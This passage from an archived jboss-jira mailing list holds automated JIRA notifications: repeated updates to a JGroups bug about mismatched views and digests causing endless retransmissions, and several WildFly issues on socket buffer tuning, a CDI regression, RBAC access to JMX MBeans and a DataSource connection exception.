* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D.
** C is 0. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

  was:
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D
** C is 0. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.


    
> View and digest have to match
> -----------------------------
>
>                 Key: JGRP-1690
>                 URL: https://issues.jboss.org/browse/JGRP-1690
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.
> View and digest are returned in
> * Responses to a new joiner: JoinRsp
> * Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
> * Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)
> However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !
> The above scenario can happen as follows:
> * The view is v1=\{A,B\}. A is the coordinator
> * C joins
> * A broadcasts v2=\{A,B,C\}.
> * A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
> * D joins
> * Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
> * A creates a new view v3=\{A,B,C,D\}
> * A gets the digest from NAKACK: [A,B] and adds D (at 0)
> * A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D.
> ** C is 0. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
> * D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
> * A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK
> SOLUTION:
> * Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
> ** We could retry fetching the digest from NAKACK for a number of tries before giving up
> ** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
> * Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:43:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 05:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1690) View and digest have to match
In-Reply-To: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500481.1378892303000.19953.1378892584344@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1690?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1690:
---------------------------

    Description: 
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,C,D] to D. Note that *C is 0*.
** The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

  was:
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D.
** C is 0. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.


    
> View and digest have to match
> -----------------------------
>
>                 Key: JGRP-1690
>                 URL: https://issues.jboss.org/browse/JGRP-1690
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.
> View and digest are returned in
> * Responses to a new joiner: JoinRsp
> * Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
> * Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)
> However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !
> The above scenario can happen as follows:
> * The view is v1=\{A,B\}. A is the coordinator
> * C joins
> * A broadcasts v2=\{A,B,C\}.
> * A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
> * D joins
> * Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
> * A creates a new view v3=\{A,B,C,D\}
> * A gets the digest from NAKACK: [A,B] and adds D (at 0)
> * A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,C,D] to D. Note that *C is 0*.
> ** The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
> * D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
> * A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK
> SOLUTION:
> * Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
> ** We could retry fetching the digest from NAKACK for a number of tries before giving up
> ** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
> * Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:43:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 05:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1690) View and digest have to match
In-Reply-To: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500481.1378892303000.19955.1378892584437@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1690?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1690:
---------------------------

    Description: 
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,C,D] to D. Note that *C is 0*.
** The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It thinks the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

  was:
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,C,D] to D. Note that *C is 0*.
** The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.


    
> View and digest have to match
> -----------------------------
>
>                 Key: JGRP-1690
>                 URL: https://issues.jboss.org/browse/JGRP-1690
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.
> View and digest are returned in
> * Responses to a new joiner: JoinRsp
> * Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
> * Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)
> However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !
> The above scenario can happen as follows:
> * The view is v1=\{A,B\}. A is the coordinator
> * C joins
> * A broadcasts v2=\{A,B,C\}.
> * A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
> * D joins
> * Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
> * A creates a new view v3=\{A,B,C,D\}
> * A gets the digest from NAKACK: [A,B] and adds D (at 0)
> * A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,C,D] to D. Note that *C is 0*.
> ** The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
> * D installs the JOIN-RSP. It thinks the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
> * A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK
> SOLUTION:
> * Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
> ** We could retry fetching the digest from NAKACK for a number of tries before giving up
> ** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
> * Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 06:17:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 11 Sep 2013 06:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2046) socketBuffer setting should
 be provided to allow fine tuning network communication.
In-Reply-To: <JIRA.12500463.1378880174000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500463.1378880174000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500463.1378880174000.20023.1378894623656@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2046?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai updated WFLY-2046:
-------------------------------

    Affects Version/s:     (was: 8.0.0.Final)

    
> socketBuffer setting should be provided to allow fine tuning network communication.
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-2046
>                 URL: https://issues.jboss.org/browse/WFLY-2046
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (JBoss Web)
>            Reporter: Gourav Mukherjee
>            Assignee: Remy Maucherat
>
> In JBoss 5.1, there used to be a setting called socketBuffer which we could configure in the server.xml inside jbossweb.sar i.e. jbossweb.sar\server.xml, it looked something like this.
>   <Connector protocol="HTTP/1.1" 
>              port="8080" 
>              address="${jboss.bind.address}" 
>              connectionTimeout="20000" 
>              redirectPort="8443" 
>              socketBuffer="64000"/>
> It would be nice to get this setting back because tuning this improves HTTP transfer performance.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 06:29:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 06:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1328) Regression: CDI portable
 extensions with missing dependencies fail to deploy
In-Reply-To: <JIRA.12491498.1368148654000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491498.1368148654000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491498.1368148654000.20046.1378895344070@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1328?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803431#comment-12803431 ] 

RH Bugzilla Integration commented on WFLY-1328:
-----------------------------------------------

Ron ?meral <rsmeral at redhat.com> made a comment on [bug 961470|https://bugzilla.redhat.com/show_bug.cgi?id=961470]

Verified on 6.2.0.ER1.
                
>  Regression: CDI portable extensions with missing dependencies fail to deploy
> -----------------------------------------------------------------------------
>
>                 Key: WFLY-1328
>                 URL: https://issues.jboss.org/browse/WFLY-1328
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 11 06:29:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 06:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1328) Regression: CDI portable
 extensions with missing dependencies fail to deploy
In-Reply-To: <JIRA.12491498.1368148654000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491498.1368148654000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491498.1368148654000.20050.1378895344292@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1328?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803432#comment-12803432 ] 

RH Bugzilla Integration commented on WFLY-1328:
-----------------------------------------------

Ron ?meral <rsmeral at redhat.com> changed the Status of [bug 961470|https://bugzilla.redhat.com/show_bug.cgi?id=961470] from ON_QA to VERIFIED
                
>  Regression: CDI portable extensions with missing dependencies fail to deploy
> -----------------------------------------------------------------------------
>
>                 Key: WFLY-1328
>                 URL: https://issues.jboss.org/browse/WFLY-1328
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 11 06:41:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Wed, 11 Sep 2013 06:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.20109.1378896063885@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803441#comment-12803441 ] 

Ladislav Thon commented on WFLY-2040:
-------------------------------------

[~kabirkhan] Here you go: https://github.com/Ladicek/wildfly/tree/rbac-jmx-wip

The main classes are {{AbstractJmxNonCoreMBeansSensitivityTestCase}} and its subclasses ({{JmxNonSensitiveTestCase}} for the situation where non-core MBeans are _not_ sensitive, using normal {{standalone.xml}}, and {{JmxSensitiveTestCase}} for situation where non-core MBeans _are_ sensitive, using a special {{jmx-sensitivity-standalone.xml}}).

Note that there is a lot more in this test than this particular issue. The calls to {{writeOperation}} and {{extraSensitiveOperation}} inside the {{test}} method are commented out, because they do not work (though I believe they should; if you could take a look, that would be great).

Please do not (try to) merge this branch, I don't intend to submit it in this form. Thanks.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 07:24:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Wed, 11 Sep 2013 07:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552101@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552101@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552101.20215.1378898643524@jira02.app.mwc.hst.phx2.redhat.com>

Jay Kumar SenSharma created WFLY-2047:
-----------------------------------------

             Summary: org.jboss.as.connector module needs sun.jdk module dependency
                 Key: WFLY-2047
                 URL: https://issues.jboss.org/browse/WFLY-2047
             Project: WildFly
          Issue Type: Bug
          Components: JCA
    Affects Versions: 8.0.0.Alpha4
         Environment: All 
            Reporter: Jay Kumar SenSharma
            Assignee: Jesper Pedersen


If a DataSource is created as following:


Then while testing the DataSource the Wildfly throws the following Exception:

+++++++++++++++++++++
16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
